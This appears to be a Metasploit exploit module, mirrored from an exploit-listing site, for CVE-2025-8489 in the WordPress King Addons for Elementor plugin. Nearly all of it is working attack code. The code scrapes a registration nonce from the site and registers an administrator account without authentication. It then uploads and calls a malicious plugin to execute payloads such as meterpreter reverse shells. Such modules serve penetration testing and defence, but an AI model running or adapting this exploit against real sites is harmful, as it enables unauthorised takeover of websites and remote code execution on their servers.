Share
## https://sploitus.com/exploit?id=PACKETSTORM:212728
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
            'Description' => %q{
              This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
              King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
              in the handle_register_ajax() function which allows unauthenticated attackers to specify
              the user_role parameter during registration, enabling them to create administrator accounts.
    
              This exploit requires a WordPress page containing the King Addons "Login Register Form"
              Elementor widget, which exposes the required nonce token in the page's JavaScript.
              The NONCE_PAGE option must be set to the path of such a page.
    
              Once an administrator account is created, the module uploads and executes a malicious
              plugin to achieve remote code execution (RCE).
            },
            'Author' => [
              'Peter Thaleikis',                             # Vulnerability discovery
              'Valentin Lobstein <chocapikk@leakix.net>'     # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-8489'],
              ['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'DisclosureDate' => '2025-10-30',
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
            OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
            OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
            OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
          ]
        )
      end
    
      def check
        return CheckCode::Unknown unless wordpress_and_online?
    
        plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
        return plugin_check if plugin_check == CheckCode::Safe
    
        @nonce = find_nonce
        return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
    
        CheckCode::Appears
      end
    
      def exploit
        fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
    
        user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
    
        admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
        unless admin_cookie
          msg = 'Failed to log in to WordPress admin.'
          msg += ' User may exist with a different password.' if user_existed
          fail_with(Failure::UnexpectedReply, msg)
        end
    
        upload_and_execute_payload(admin_cookie)
      end
    
      private
    
      def find_nonce
        nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
        res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
        return nil unless res&.code == 200
    
        doc = res.get_html_document
        return nil unless doc
    
        script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
    
        script_nodes.each do |script_node|
          nonce = extract_nonce_from_script(script_node.text)
          return nonce if nonce
        end
    
        vprint_warning('Could not find nonce')
        nil
      end
    
      def extract_nonce_from_script(script_content)
        match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
        return nil unless match
    
        json_data = begin
          JSON.parse(match[1].gsub('\/', '/'))
        rescue StandardError
          nil
        end
        return nil unless json_data.is_a?(Hash)
    
        nonce = json_data['register_nonce']
        return nil unless nonce.is_a?(String) && !nonce.empty?
    
        vprint_status("Found nonce: #{nonce}")
        nonce
      end
    
      def send_registration_request(username:, email:, password:, user_role: 'administrator')
        @nonce ||= find_nonce
        fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => wordpress_url_admin_ajax,
          'vars_post' => {
            'action' => 'king_addons_user_register',
            'nonce' => @nonce,
            'username' => username,
            'email' => email,
            'password' => password,
            'confirm_password' => password,
            'user_role' => user_role,
            'terms_required' => 'no'
          }
        )
      end
    
      def create_admin_user(username, password, email)
        res = send_registration_request(username: username, email: email, password: password)
        unless res&.code == 200
          fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
        end
    
        json = res.get_json_document
        unless json.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
        end
    
        if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
          print_warning('User or email already exists, attempting login with provided credentials...')
          return true
        end
    
        if json['success'] == true
          return false
        end
    
        fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
      end
    
      def upload_and_execute_payload(admin_cookie)
        plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
        payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    
        zip = generate_plugin(plugin_name, payload_name)
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
    
        register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
        register_dir_for_cleanup("../#{plugin_name}")
        payload_file = "#{payload_name}.php"
        payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
        send_request_cgi('uri' => payload_uri, 'method' => 'GET')
      end
    end